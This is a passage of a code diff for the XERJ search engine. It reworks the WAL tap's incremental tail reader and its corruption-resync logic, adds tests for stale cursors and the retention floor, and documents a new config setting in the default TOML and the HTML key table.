- let generation = u64::from_le_bytes(buf[4..12].try_into().unwrap());
+ let generation = u64::from_le_bytes(win.buf[4..12].try_into().unwrap());
+
+ // A resume offset past the end is the caller's problem to classify (see
+ // `tail_shard`); clamping here is what silently skipped a recreated
+ // index's whole WAL, so refuse to move rather than clamp.
+ let start = from_offset.max(WAL_HEADER_LEN);
+ if start > win.len {
+ return FileTail {
+ entries: Vec::new(),
+ end_offset: start,
+ drained: false,
+ truncated: false,
+ corrupt: 0,
+ };
+ }
+ win.seek_to(start);
- let mut off = (from_offset.max(WAL_HEADER_LEN) as usize).min(buf.len());
- let mut entries = Vec::new();
+ let mut entries: Vec<ReplayEntry> = Vec::new();
+ let mut read = 0usize;
let mut corrupt = 0usize;
loop {
- if entries.len() >= budget {
+ if collect && read >= budget {
return FileTail {
entries,
- end_offset: off as u64,
+ end_offset: win.pos(),
drained: false,
truncated: true,
corrupt,
};
}
- match parse_raw_frame(&buf, off) {
- RawFrame::End => {
- return FileTail {
- entries,
- end_offset: off as u64,
- drained: true,
- truncated: false,
- corrupt,
+ if win.pos() >= win.len {
+ return FileTail {
+ entries,
+ end_offset: win.pos(),
+ drained: true,
+ truncated: false,
+ corrupt,
+ };
+ }
+
+ // Enough bytes to know how long this frame claims to be?
+ let framed = win.fill(WAL_FRAME_HEADER_LEN) && {
+ let entry_len =
+ u32::from_le_bytes(win.buf[win.cur..win.cur + 4].try_into().unwrap_or([0; 4]));
+ entry_len <= WAL_MAX_ENTRY_LEN
+ && win.fill(WAL_FRAME_OVERHEAD + entry_len as usize)
+ && matches!(parse_raw_frame(&win.buf, win.cur), RawFrame::Frame { .. })
+ };
+
+ if !framed {
+ // Not a frame. In a rotated generation that is permanent damage
+ // and replay's boundary resync applies. In the ACTIVE generation
+ // the usual cause is a half-written frame at the tail — but a
+ // half-written frame is by construction the LAST thing in the
+ // file (`write_one_frame_inner` drains whole frames), so if a
+ // complete valid frame exists *after* this point these bytes are
+ // not a partial tail. Holding the boundary there is what wedged a
+ // cursor forever on a stream that had been replaced underneath
+ // it; resync instead and count it.
+ win.fill_to_end();
+ match scan_next_valid_frame(&win.buf, win.cur + 1) {
+ Some(next) => {
+ let at = win.pos();
+ let resync_at = win.base + next as u64;
+ warn!(
+ generation,
+ offset = at,
+ resync_at,
+ active = !allow_resync,
+ "WAL tap: corrupt region — entries in the gap cannot be shipped"
+ );
+ corrupt += 1;
+ win.cur = next;
}
- }
- RawFrame::Corrupt => {
- if !allow_resync {
- // Active generation: a half-written frame completes on
- // the writer's next flush. Hold the boundary.
+ None if allow_resync => {
+ // Torn tail on a file that will never grow again.
+ corrupt += 1;
return FileTail {
entries,
- end_offset: off as u64,
- drained: false,
+ end_offset: win.pos(),
+ drained: true,
truncated: false,
corrupt,
};
}
- match scan_next_valid_frame(&buf, off + 1) {
- Some(next) => {
- warn!(
- generation,
- offset = off,
- resync_at = next,
- "WAL tap: corrupt region in a rotated generation — entries in \
- the gap cannot be shipped"
- );
- corrupt += 1;
- off = next;
- }
- None => {
- // Torn tail on a file that will never grow again.
- corrupt += 1;
- return FileTail {
- entries,
- end_offset: off as u64,
- drained: true,
- truncated: false,
- corrupt,
- };
- }
+ None => {
+ // Active generation, nothing valid beyond: a genuine
+ // half-written frame. It completes on the writer's next
+ // flush — hold the boundary.
+ return FileTail {
+ entries,
+ end_offset: win.pos(),
+ drained: false,
+ truncated: false,
+ corrupt,
+ };
}
}
- RawFrame::Frame {
- seq_no,
- op_code,
- payload,
- end,
- } => {
- let this_offset = off as u64;
- off = end;
- match decode_frame_payload(op_code, payload, generation, this_offset) {
- FrameDecode::Entry(entry) => entries.push(ReplayEntry {
- seq_no,
- entry,
- file_offset: this_offset,
- }),
- FrameDecode::UnknownOp => {}
- FrameDecode::Bad(e) => {
- warn!(generation, offset = this_offset, error = %e,
- "WAL tap: undecodable frame — skipped");
- corrupt += 1;
- }
+ continue;
+ }
+
+ let RawFrame::Frame {
+ seq_no,
+ op_code,
+ payload,
+ end,
+ } = parse_raw_frame(&win.buf, win.cur)
+ else {
+ unreachable!("`framed` already proved this parses as a frame");
+ };
+ let this_offset = win.pos();
+ let consumed = end - win.cur;
+
+ if collect {
+ match decode_frame_payload(op_code, payload, generation, this_offset) {
+ FrameDecode::Entry(entry) => entries.push(ReplayEntry {
+ seq_no,
+ entry,
+ file_offset: this_offset,
+ }),
+ FrameDecode::UnknownOp => {}
+ FrameDecode::Bad(e) => {
+ warn!(generation, offset = this_offset, error = %e,
+ "WAL tap: undecodable frame — skipped");
+ corrupt += 1;
}
}
}
+ read += 1;
+ win.cur += consumed;
}
}
@@ -2969,6 +3238,209 @@ mod tests {
assert_eq!(tail.cursor.generation, 0);
}
+ /// The delete-and-recreate case the generation check above CANNOT catch:
+ /// the new stream restarts at generation 0, so the cursor's generation is
+ /// not "past every generation" — it agrees exactly, and only the byte
+ /// offset is nonsense.
+ ///
+ /// Pre-fix the reader clamped that offset to EOF and reported a clean
+ /// drain: every document in the recreated index was skipped, `gap` stayed
+ /// false and the consumer's stats showed a healthy stream. WAL files are
+ /// append-only, so `offset > len` is an exact witness.
+ #[test]
+ fn a_cursor_past_the_end_of_generation_zero_is_a_gap_not_a_silent_skip() {
+ let dir = tempfile::tempdir().unwrap();
+ let mut w = make_writer(dir.path());
+ w.append(&doc("recreated")).unwrap();
+ drop(w);
+
+ let len = std::fs::metadata(wal_path(dir.path(), 0)).unwrap().len();
+ let stale = WalTailCursor {
+ generation: 0,
+ offset: len + 4_096,
+ drained: false,
+ };
+ let tail = tail_shard(dir.path(), Some(stale), 100);
+ assert_eq!(
+ doc_ids(&tail),
+ vec!["+recreated"],
+ "the recreated stream must be read from the start, not skipped"
+ );
+ assert!(tail.gap, "and the discontinuity must be reported");
+ }
+
+ /// The other half of the same failure: the stale offset lands INSIDE the
+ /// new file but not on a frame boundary.
+ ///
+ /// The active generation refuses to resync, so pre-fix this wedged the
+ /// shard forever — no entries, no gap, no error, and the file kept
+ /// growing underneath it. A half-written frame is by construction the last
+ /// thing in the file, so a valid frame existing *after* the bad bytes
+ /// proves these are not a partial tail.
+ #[test]
+ fn a_cursor_landing_mid_frame_in_the_active_generation_resyncs_instead_of_wedging() {
+ let dir = tempfile::tempdir().unwrap();
+ let mut w = make_writer(dir.path());
+ for i in 0..6 {
+ w.append(&doc(&format!("d{i}"))).unwrap();
+ }
+ drop(w);
+
+ // A few bytes past the header is mid-first-frame: not a boundary.
+ let stale = WalTailCursor {
+ generation: 0,
+ offset: WAL_HEADER_LEN + 7,
+ drained: false,
+ };
+ let tail = tail_shard(dir.path(), Some(stale), 100);
+ assert!(
+ !tail.entries.is_empty(),
+ "the reader must resync forward rather than hold a boundary that is not one"
+ );
+ assert!(
+ tail.corrupt_skipped > 0,
+ "and the resync must be counted, not silent"
+ );
+ assert!(
+ tail.cursor.offset > stale.offset,
+ "the cursor has to move, or the next poll repeats this forever"
+ );
+ }
+
+ /// Reading the tail must cost the bytes appended since the last poll, not
+ /// the size of the file.
+ ///
+ /// The pre-fix reader did `fs::read(path)` on every poll and seeked inside
+ /// the resulting `Vec`: fully caught up, it still allocated and copied the
+ /// whole active generation just to find EOF. At 16 shards and a 500 ms
+ /// interval that is ~60x read amplification of the node's live ingest
+ /// volume per flush window, per shard.
+ ///
+ /// Asserted structurally — a caught-up poll never materialises a buffer
+ /// the size of the file — by making the file large and the poll a no-op.
+ #[test]
+ fn a_caught_up_poll_does_not_read_the_whole_generation() {
+ let dir = tempfile::tempdir().unwrap();
+ let mut w = make_writer(dir.path());
+ // WAL payloads are LZ4-compressed, so a run of one character would
+ // produce a tiny file and prove nothing. Generate incompressible hex.
+ let mut lcg: u64 = 0x2545_F491_4F6C_DD1D;
+ let mut noise = || {
+ let mut s = String::with_capacity(8192);
+ for _ in 0..1024 {
+ lcg = lcg.wrapping_mul(6_364_136_223_846_793_005).wrapping_add(1);
+ s.push_str(&format!("{:016x}", lcg));
+ }
+ s
+ };
+ for i in 0..256 {
+ w.append(&WalEntry::Index {
+ doc_id: format!("d{i}"),
+ source: serde_json::json!({ "v": noise() }),
+ })
+ .unwrap();
+ }
+ drop(w);
+
+ let caught_up = tail_shard(dir.path(), None, 10_000);
+ assert_eq!(caught_up.entries.len(), 256);
+ let len = std::fs::metadata(wal_path(dir.path(), 0)).unwrap().len();
+ assert!(len > 512 * 1024, "the file must be big enough to matter");
+
+ // The window the caught-up poll opens: cursor is at EOF, so it reads
+ // the 16-byte header and stops. `WalWindow` is what proves it — it
+ // never buffers more than one frame plus a chunk.
+ let mut win = WalWindow::open(&wal_path(dir.path(), 0)).unwrap();
+ win.seek_to(caught_up.cursor.offset);
+ assert!(!win.fill(1), "there is nothing left to read at EOF");
+ assert!(
+ win.buf.len() < WAL_TAIL_READ_CHUNK,
+ "a caught-up poll buffered {} bytes of a {len}-byte file",
+ win.buf.len()
+ );
+
+ // And it is still correct: a poll after new appends reads only those.
+ let mut w = make_writer(dir.path());
+ w.append(&doc("late")).unwrap();
+ drop(w);
+ let after = tail_shard(dir.path(), Some(caught_up.cursor), 10_000);
+ assert_eq!(doc_ids(&after), vec!["+late"]);
+ }
+
+ /// A rotated generation still resyncs past a corrupt region, exactly as
+ /// full replay does — the windowed reader must not have quietly changed
+ /// that.
+ #[test]
+ fn a_rotated_generation_still_resyncs_past_corruption() {
+ let dir = tempfile::tempdir().unwrap();
+ let mut w = make_writer(dir.path());
+ w.append(&doc("a")).unwrap();
+ w.append(&doc("b")).unwrap();
+ let good = std::fs::read(wal_path(dir.path(), 0)).unwrap();
+ w.rotate().unwrap();
+ w.append(&doc("c")).unwrap();
+ drop(w);
+
+ // Corrupt the middle of the now-frozen generation 0.
+ let mut damaged = good.clone();
+ let mid = WAL_HEADER_LEN as usize + 4;
+ damaged[mid] ^= 0xFF;
+ std::fs::write(wal_path(dir.path(), 0), &damaged).unwrap();
+
+ let tail = tail_shard(dir.path(), None, 100);
+ assert!(
+ tail.corrupt_skipped > 0,
+ "damage in a frozen generation must be counted"
+ );
+ assert!(
+ doc_ids(&tail).contains(&"+c".to_string()),
+ "and the reader must get past it to the live generation: {:?}",
+ doc_ids(&tail)
+ );
+ }
+
+ /// The retention floor (#320): `prune_verified` keeps the newest N rotated
+ /// generations even when it can prove every entry in them durable, so a
+ /// WAL consumer that is briefly behind still finds them.
+ ///
+ /// Bounded by construction — it is a floor, not a lease, so it holds N
+ /// files whether the consumer is one second or one week behind.
+ #[test]
+ fn a_retention_floor_holds_the_newest_rotated_generations() {
+ fn build(dir: &Path) -> WalWriter {
+ let mut w = make_writer(dir);
+ for gen in 0..4 {
+ w.append(&doc(&format!("g{gen}"))).unwrap();
+ w.rotate().unwrap();
+ }
+ w.append(&doc("active")).unwrap();
+ w
+ }
+
+ // Floor 0 (the default): everything provable is pruned.
+ let bare = tempfile::tempdir().unwrap();
+ let w = build(bare.path());
+ assert_eq!(w.rotated_generations().unwrap().len(), 4);
+ assert_eq!(w.prune_verified(&|_, _| true).unwrap(), 4);
+ assert!(w.rotated_generations().unwrap().is_empty());
+
+ // Floor 2: the two newest rotated generations survive.
+ let floored = tempfile::tempdir().unwrap();
+ let mut w = build(floored.path());
+ w.set_min_retained_generations(2);
+ assert_eq!(w.prune_verified(&|_, _| true).unwrap(), 2);
+ assert_eq!(
+ w.rotated_generations().unwrap(),
+ vec![2, 3],
+ "the floor must keep the NEWEST generations — the oldest are the ones a \
+ consumer has already passed"
+ );
+ // And it is a floor, not a lease: pruning again holds the same two,
+ // however far behind any consumer is.
+ assert_eq!(w.prune_verified(&|_, _| true).unwrap(), 0);
+ assert_eq!(w.rotated_generations().unwrap(), vec![2, 3]);
+ }
+
/// Both WAL layouts are discovered: legacy `*.wal` in the root, and the
/// sharded `s0`/`s1`/… subdirectories.
#[test]
diff --git a/engine/xerj.default.toml b/engine/xerj.default.toml
index 8107c63f9..c113d6777 100644
--- a/engine/xerj.default.toml
+++ b/engine/xerj.default.toml
@@ -1,6 +1,6 @@
# xerj Default Configuration
# ============================================================
-# This file sets 54 of XERJ's 114 user-facing settings to their
+# This file sets 54 of XERJ's 115 user-facing settings to their
# production-ready defaults, and describes the rest in comments.
# Every value here IS the default, so copying this file changes
# nothing until you edit it (a test enforces that). The complete
@@ -503,7 +503,7 @@ format = "text"
access_log = false
# ── WAL tap: push a filtered subset of indices to an external target ──────────
-# (9 settings, issue #320)
+# (10 settings, issue #320)
#
# One-directional, single-node, near-real-time push of selected indices to any
# ES-compatible cluster (Elasticsearch, OpenSearch, or another XERJ node). The
@@ -522,19 +522,29 @@ access_log = false
# are durable in a segment, whether or not the tap has shipped them — a slow
# remote must not be able to fill this node's disk. A tap that falls that far
# behind loses entries and reports `gaps` in GET /_xerj/wal_tap/_stats.
+# `min_retained_generations` buys BOUNDED slack (a floor, not a lease): at
+# the default 0, an outage longer than one flush interval loses data.
#
# System indices (every .xerj* name, not just .xerj-memory-*) are never
# shipped, whatever `indices` says.
+#
+# `target_url` must NOT carry credentials (https://user:pass@host is refused at
+# startup): it is echoed by GET /_xerj/wal_tap, by _stats and in the log.
+# `target_auth` is the credential field and is write-only.
+#
# Everything here is also settable at runtime, without a restart, via
-# PUT /_xerj/wal_tap.
+# PUT /_xerj/wal_tap — which persists the patch, so it survives a restart.
+# DELETE /_xerj/wal_tap drops the runtime overlay and reverts to this file.
+# All three endpoints are superuser-only.
#
# [wal_tap]
-# enabled = true # not a default (false)
-# target_url = "https://central:9200" # not a default ("")
-# target_auth = "ApiKey abc123" # not a default ("")
-# indices = ["edge-*", "metrics"] # not a default ([])
-# poll_interval_ms = 500
-# max_batch_docs = 1000
-# max_batch_bytes = 5242880
-# request_timeout_secs = 30
-# max_retry_backoff_secs = 60
+# enabled = true # not a default (false)
+# target_url = "https://central:9200" # not a default ("")
+# target_auth = "ApiKey abc123" # not a default ("")
+# indices = ["edge-*", "metrics"] # not a default ([])
+# poll_interval_ms = 500
+# max_batch_docs = 1000
+# max_batch_bytes = 5242880
+# request_timeout_secs = 30
+# max_retry_backoff_secs = 60
+# min_retained_generations = 0
diff --git a/landing/docs/config.html b/landing/docs/config.html
index dfe564276..b6043304e 100644
--- a/landing/docs/config.html
+++ b/landing/docs/config.html
@@ -124,7 +124,7 @@
<p>Paths for the config are, in precedence order: <code class="inline">--config /path/to/xerj.toml</code> on the command line, then <code class="inline">/etc/xerj/xerj.toml</code>, then <code class="inline">./xerj.toml</code> in the working directory. If none exist, the full default is used.</p>
<h2>Full key table</h2>
- <div class="cfg"><div class="head">KEY</div><div class="head">TYPE</div><div class="head">DEFAULT</div><div class="head">DESCRIPTION</div><div class="group" id="server">[server]</div><div class="cell k">rest_port</div><div class="cell t">u16</div><div class="cell d">8080</div><div class="cell dsc">Native REST API listener port. All native endpoints (/v1/*) live here.</div><div class="cell k">grpc_port</div><div class="cell t">u16</div><div class="cell d">8081</div><div class="cell dsc">Reserved for a future gRPC API. Not wired in v0.1 — leave at default.</div><div class="cell k">es_compat_port</div><div class="cell t">u16</div><div class="cell d">9200</div><div class="cell dsc">Elasticsearch-compatible wire port. Point Kibana, Logstash, or the ES client here. Set to 0 to disable.</div><div class="cell k">bind_address</div><div class="cell t">string</div><div class="cell d">"127.0.0.1"</div><div class="cell dsc">Interface to bind every listener to. Loopback by default, so an unconfigured node is unreachable from the network. Set "0.0.0.0" or a private address to expose it (also --bind / XERJ_BIND_ADDRESS). Must be an IPv4 or IPv6 literal — host names are not resolved, and a node given one refuses to start.</div><div class="cell k">allow_insecure_network_bind</div><div class="cell t">bool</div><div class="cell d">false</div><div class="cell dsc">Permit a non-loopback bind_address while tls.enabled = false. Startup refuses that combination otherwise: every listener would serve plain HTTP, so the API key in every Authorization header crosses the network in cleartext. Set true only when a proxy, sidecar, mesh or container boundary terminates TLS in front of the node. Env: XERJ_ALLOW_INSECURE_NETWORK_BIND.</div><div class="cell k">data_dir</div><div class="cell t">path</div><div class="cell d">"./data"</div><div class="cell dsc">Root for indices, WAL files, and segments. Needs fast I/O and enough free space.</div><div class="group" id="auth">[auth]</div><div class="cell k">enabled</div><div class="cell t">bool</div><div class="cell d">true</div><div class="cell dsc">Require an API key on every request. Set to false only on a trusted network.</div><div class="cell k">admin_api_key</div><div class="cell t">string</div><div class="cell d">""</div><div class="cell dsc">Static admin key. Left empty, a 256-bit key is generated on first run and written to <data_dir>/admin.key.</div><div class="group" id="tls">[tls]</div><div class="cell k">enabled</div><div class="cell t">bool</div><div class="cell d">false</div><div class="cell dsc">Terminate TLS at the server. Requires cert_path + key_path. If you terminate at a proxy, leave false.</div><div class="cell k">cert_path</div><div class="cell t">path</div><div class="cell d">""</div><div class="cell dsc">PEM X.509 certificate. Use a CA-signed cert in production.</div><div class="cell k">key_path</div><div class="cell t">path</div><div class="cell d">""</div><div class="cell dsc">PEM private key. Permissions should be 0600.</div><div class="group" id="storage">[storage]</div><div class="cell k">wal_sync</div><div class="cell t">enum</div><div class="cell d">"batched"</div><div class="cell dsc">"sync" · "batched" · "async". Durability vs throughput. Batched is the recommended default.</div><div class="cell k">wal_batch_ms</div><div class="cell t">u32</div><div class="cell d">100</div><div class="cell dsc">Fsync cadence when wal_sync="batched" (ms). Range 1–10000. Lower = smaller loss window.</div><div class="cell k">wal_max_size_mb</div><div class="cell t">u32</div><div class="cell d">1024</div><div class="cell dsc">WAL rollover threshold (MiB). Larger means fewer rollovers, longer crash recovery.</div><div class="cell k">flush_size_mb</div><div class="cell t">u32</div><div class="cell d">512</div><div class="cell dsc">Memtable buffer size that triggers a segment flush (MiB).</div><div class="cell k">flush_interval_secs</div><div class="cell t">u32</div><div class="cell d">30</div><div class="cell dsc">Maximum wall-clock interval between flushes even if the buffer is not full.</div><div class="group" id="merge">[merge]</div><div class="cell k">strategy</div><div class="cell t">enum</div><div class="cell d">"size_tiered"</div><div class="cell dsc">Only "size_tiered" is implemented; "log_structured" is refused at startup rather than silently running the other policy.</div><div class="cell k">min_segments</div><div class="cell t">u32</div><div class="cell d">10</div><div class="cell dsc">Accepted and validated (must be ≥ 2) but <strong>not wired</strong>: the merge trigger is per-tier and comes from min_merge_count. Setting it away from the default logs a warning at startup.</div><div class="cell k">max_segment_mb</div><div class="cell t">u32</div><div class="cell d">8192</div><div class="cell dsc">Upper bound on a mergeable segment (MiB). Segments at or above this size are never merged again.</div><div class="cell k">io_rate_mb_per_sec</div><div class="cell t">u32</div><div class="cell d">100</div><div class="cell dsc">Accepted but <strong>not wired</strong>: merge I/O is not throttled in this build — the rate limiter that honours it sits in an unused storage-crate merge executor. Setting it away from the default logs a warning at startup.</div><div class="cell k">max_concurrent</div><div class="cell t">u8</div><div class="cell d">1</div><div class="cell dsc">Accepted but <strong>not wired</strong>: merge parallelism comes from the XERJ_MERGE_PARALLELISM environment variable, which also defaults to 1. Setting it away from the default logs a warning at startup.</div><div class="group" id="compression">[compression]</div><div class="cell k">enabled</div><div class="cell t">bool</div><div class="cell d">true</div><div class="cell dsc">Accepted but <strong>not wired</strong>: every durable artifact is a compressed envelope with no uncompressed write path, so false changes nothing on disk. Setting it away from the default logs a warning at startup.</div><div class="cell k">level</div><div class="cell t">enum</div><div class="cell d">"balanced"</div><div class="cell dsc">"fast" (Zstd L1), "balanced" (Zstd L3, default), "best" (Zstd L6, cold storage). Applied when segments are re-encoded <strong>at merge</strong>; flush always writes L3, because raising the flush level collapses sustained ingest. Force-merge to apply a change to data already on disk.</div><div class="cell k">block_size_docs</div><div class="cell t">u32</div><div class="cell d">128</div><div class="cell dsc">Accepted but <strong>not wired</strong>: the stored codec is columnar over the whole segment section, not blocked by document count. Range 16–4096 is enforced at startup, and a non-default value logs a warning.</div><div class="group" id="fts">[fts]</div><div class="cell k">default_analyzer</div><div class="cell t">enum</div><div class="cell d">"standard"</div><div class="cell dsc">"standard" · "whitespace" · "simple" · "english". Override per-field in the mapping.</div><div class="group" id="vector">[vector]</div><div class="cell k">default_metric</div><div class="cell t">enum</div><div class="cell d">"cosine"</div><div class="cell dsc">"cosine" · "dot_product" · "euclidean". Cosine for text embeddings is the usual choice.</div><div class="cell k">hnsw_m</div><div class="cell t">u32</div><div class="cell d">16</div><div class="cell dsc">Accepted and validated; the built-in HNSW graph currently builds with fixed M=16 — this key is not yet wired to the build.</div><div class="cell k">hnsw_ef_construction</div><div class="cell t">u32</div><div class="cell d">200</div><div class="cell dsc">Accepted; must be ≥ hnsw_m. The graph currently builds with fixed ef_construction=200 — this key is not yet wired to the build.</div><div class="cell k">hnsw_ef_search</div><div class="cell t">u32</div><div class="cell d">100</div><div class="cell dsc">Accepted but not read by the serving path — the ANN beam width comes from the request's num_candidates (floored at 800).</div><div class="cell k">default_quantization</div><div class="cell t">enum</div><div class="cell d">"none"</div><div class="cell dsc">"none" (the default) or "scalar8" = 4× RAM saving, 1–2% recall loss. "binary" has no quantizer behind it and is refused at startup rather than silently stored at full precision; "scalar4" is not a value this key accepts at all (the 4-bit quantizer in the vector crate is unreachable from config or mapping).</div><div class="cell k">max_dimensions</div><div class="cell t">u32</div><div class="cell d">16384</div><div class="cell dsc">Upper bound on vector dimensionality. 4× the Elasticsearch limit of 4096.</div><div class="group" id="logs">[logs]</div><div class="cell k">retention_days</div><div class="cell t">u32</div><div class="cell d">90</div><div class="cell dsc">Auto-delete log docs older than N days. 0 disables.</div><div class="cell k">time_partition</div><div class="cell t">enum</div><div class="cell d">"1h"</div><div class="cell dsc">"1m" · "5m" · "15m" · "1h" · "6h" · "1d". Time-slice granularity for retention pruning.</div><div class="group" id="embedding">[embedding]</div><div class="cell k">default_endpoint</div><div class="cell t">string</div><div class="cell d">""</div><div class="cell dsc">OpenAI-compatible embeddings URL. Empty disables auto-embedding on ingest. Example: "https://api.openai.com/v1/embeddings".</div><div class="cell k">default_model</div><div class="cell t">string</div><div class="cell d">""</div><div class="cell dsc">Model name passed to the endpoint. Example: "text-embedding-3-small" or "nomic-embed-text".</div><div class="cell k">batch_size</div><div class="cell t">u32</div><div class="cell d">64</div><div class="cell dsc">Docs per embedding API call. Range 1–2048. Bigger batches amortise round-trip cost.</div><div class="cell k">timeout_ms</div><div class="cell t">u32</div><div class="cell d">5000</div><div class="cell dsc">HTTP timeout for embedding calls (ms). Ingest fails with a timeout error if exceeded.</div><div class="group" id="limits">[limits]</div><div class="cell k">max_query_memory_mb</div><div class="cell t">u32</div><div class="cell d">512</div><div class="cell dsc">Per-query memory cap (MiB). Queries that exceed it are cancelled.</div><div class="cell k">max_concurrent_searches</div><div class="cell t">u32</div><div class="cell d">64</div><div class="cell dsc">Global in-flight search ceiling. Extras are queued.</div><div class="cell k">max_fields_per_index</div><div class="cell t">u32</div><div class="cell d">500</div><div class="cell dsc">Field-explosion protection. ES default is 1000; 500 is intentionally stricter.</div><div class="group" id="indexing">[indexing]</div><div class="cell k">turbo_batch_size</div><div class="cell t">u32</div><div class="cell d">1000</div><div class="cell dsc">Docs per batch in turbo mode. Range 500–5000. Larger = higher throughput, slightly higher latency.</div><div class="cell k">turbo_parallel</div><div class="cell t">bool</div><div class="cell d">true</div><div class="cell dsc">Parallel tokenisation on Rayon threads. Disable only for debugging.</div><div class="cell k">turbo_fast_analyzer</div><div class="cell t">bool</div><div class="cell d">false</div><div class="cell dsc">Skip stemming and stop-word removal in turbo mode. Trades recall for speed.</div><div class="group" id="cluster">[cluster]</div><div class="cell k">enabled</div><div class="cell t">bool</div><div class="cell d">false</div><div class="cell dsc">Enable multi-node cluster mode. When true, the Raft state machine and cluster transport are started on port.</div><div class="cell k">port</div><div class="cell t">u16</div><div class="cell d">9300</div><div class="cell dsc">TCP port for intra-cluster Raft and search messages. Must be reachable from every peer.</div><div class="cell k">peers</div><div class="cell t">array</div><div class="cell d">[]</div><div class="cell dsc">Peer list in "node_id=host:port" format. The local node identifies itself from the entry matching bind_address:port. Example: ["a=10.0.0.1:9300","b=10.0.0.2:9300","c=10.0.0.3:9300"].</div><div class="cell k">tick_ms</div><div class="cell t">u64</div><div class="cell d">50</div><div class="cell dsc">Raft tick interval (ms). Lower = faster leader election at the cost of CPU.</div><div class="cell k">auth_secret</div><div class="cell t">string</div><div class="cell d">""</div><div class="cell dsc">Cluster-wide shared secret authenticating every control frame on port (HMAC-SHA256 over a per-connection challenge). Mandatory when enabled = true — with cluster mode on and no secret here or in XERJ_CLUSTER_AUTH_SECRET the node refuses to start. Same value on every node; minimum 16 chars; generate with `openssl rand -hex 32`. Authenticates, does not encrypt.</div><div class="group" id="wal_tap">[wal_tap]</div><div class="cell k">enabled</div><div class="cell t">bool</div><div class="cell d">false</div><div class="cell dsc">Push a filtered subset of indices to an external ES-compatible target (Elasticsearch, OpenSearch, or another XERJ node) in near-real-time. One-directional and single-node — this is not cross-cluster replication. Off by default.</div><div class="cell k">target_url</div><div class="cell t">string</div><div class="cell d">""</div><div class="cell dsc">Base URL of the target cluster; the tap POSTs to {target_url}/_bulk. Example: "https://central:9200". Empty disables the tap even with enabled = true.</div><div class="cell k">target_auth</div><div class="cell t">string</div><div class="cell d">""</div><div class="cell dsc">Verbatim Authorization header for the target, e.g. "ApiKey abc123". Write-only: GET /_xerj/wal_tap reports whether one is set, never its value.</div><div class="cell k">indices</div><div class="cell t">array</div><div class="cell d">[]</div><div class="cell dsc">Index allowlist, glob patterns. Empty ships nothing; ["edge-*","metrics"] ships those. A wildcard never expands to a hidden index, and XERJ&#39;s own .xerj* system indices are never shipped whatever this says.</div><div class="cell k">poll_interval_ms</div><div class="cell t">u64</div><div class="cell d">500</div><div class="cell dsc">How often each allowlisted index&#39;s WAL is polled (ms). Range 50–60000. This is the floor on end-to-end latency; the tap adds nothing to the write path.</div><div class="cell k">max_batch_docs</div><div class="cell t">usize</div><div class="cell d">1000</div><div class="cell dsc">Maximum WAL entries read and shipped per poll, per index.</div><div class="cell k">max_batch_bytes</div><div class="cell t">usize</div><div class="cell d">5242880</div><div class="cell dsc">Maximum _bulk body size (bytes). Bounds one HTTP request against the target&#39;s http.max_content_length — a larger batch is split across requests, never truncated.</div><div class="cell k">request_timeout_secs</div><div class="cell t">u64</div><div class="cell d">30</div><div class="cell dsc">Per-request timeout against the target. A timed-out batch is retried; the cursor does not advance, so nothing is dropped.</div><div class="cell k">max_retry_backoff_secs</div><div class="cell t">u64</div><div class="cell d">60</div><div class="cell dsc">Ceiling on the exponential, jittered retry backoff when the target is down. WAL retention never waits for the target, so a tap that falls far enough behind loses entries and reports them as gaps in GET /_xerj/wal_tap/_stats.</div></div>
+ <div class="cfg"><div class="head">KEY</div><div class="head">TYPE</div><div class="head">DEFAULT</div><div class="head">DESCRIPTION</div><div class="group" id="server">[server]</div><div class="cell k">rest_port</div><div class="cell t">u16</div><div class="cell d">8080</div><div class="cell dsc">Native REST API listener port. All native endpoints (/v1/*) live here.</div><div class="cell k">grpc_port</div><div class="cell t">u16</div><div class="cell d">8081</div><div class="cell dsc">Reserved for a future gRPC API. Not wired in v0.1 — leave at default.</div><div class="cell k">es_compat_port</div><div class="cell t">u16</div><div class="cell d">9200</div><div class="cell dsc">Elasticsearch-compatible wire port. Point Kibana, Logstash, or the ES client here. Set to 0 to disable.</div><div class="cell k">bind_address</div><div class="cell t">string</div><div class="cell d">"127.0.0.1"</div><div class="cell dsc">Interface to bind every listener to. Loopback by default, so an unconfigured node is unreachable from the network. Set "0.0.0.0" or a private address to expose it (also --bind / XERJ_BIND_ADDRESS). Must be an IPv4 or IPv6 literal — host names are not resolved, and a node given one refuses to start.</div><div class="cell k">allow_insecure_network_bind</div><div class="cell t">bool</div><div class="cell d">false</div><div class="cell dsc">Permit a non-loopback bind_address while tls.enabled = false. Startup refuses that combination otherwise: every listener would serve plain HTTP, so the API key in every Authorization header crosses the network in cleartext. Set true only when a proxy, sidecar, mesh or container boundary terminates TLS in front of the node. Env: XERJ_ALLOW_INSECURE_NETWORK_BIND.</div><div class="cell k">data_dir</div><div class="cell t">path</div><div class="cell d">"./data"</div><div class="cell dsc">Root for indices, WAL files, and segments. Needs fast I/O and enough free space.</div><div class="group" id="auth">[auth]</div><div class="cell k">enabled</div><div class="cell t">bool</div><div class="cell d">true</div><div class="cell dsc">Require an API key on every request. Set to false only on a trusted network.</div><div class="cell k">admin_api_key</div><div class="cell t">string</div><div class="cell d">""</div><div class="cell dsc">Static admin key. Left empty, a 256-bit key is generated on first run and written to <data_dir>/admin.key.</div><div class="group" id="tls">[tls]</div><div class="cell k">enabled</div><div class="cell t">bool</div><div class="cell d">false</div><div class="cell dsc">Terminate TLS at the server. Requires cert_path + key_path. If you terminate at a proxy, leave false.</div><div class="cell k">cert_path</div><div class="cell t">path</div><div class="cell d">""</div><div class="cell dsc">PEM X.509 certificate. Use a CA-signed cert in production.</div><div class="cell k">key_path</div><div class="cell t">path</div><div class="cell d">""</div><div class="cell dsc">PEM private key. Permissions should be 0600.</div><div class="group" id="storage">[storage]</div><div class="cell k">wal_sync</div><div class="cell t">enum</div><div class="cell d">"batched"</div><div class="cell dsc">"sync" · "batched" · "async". Durability vs throughput. Batched is the recommended default.</div><div class="cell k">wal_batch_ms</div><div class="cell t">u32</div><div class="cell d">100</div><div class="cell dsc">Fsync cadence when wal_sync="batched" (ms). Range 1–10000. Lower = smaller loss window.</div><div class="cell k">wal_max_size_mb</div><div class="cell t">u32</div><div class="cell d">1024</div><div class="cell dsc">WAL rollover threshold (MiB). Larger means fewer rollovers, longer crash recovery.</div><div class="cell k">flush_size_mb</div><div class="cell t">u32</div><div class="cell d">512</div><div class="cell dsc">Memtable buffer size that triggers a segment flush (MiB).</div><div class="cell k">flush_interval_secs</div><div class="cell t">u32</div><div class="cell d">30</div><div class="cell dsc">Maximum wall-clock interval between flushes even if the buffer is not full.</div><div class="group" id="merge">[merge]</div><div class="cell k">strategy</div><div class="cell 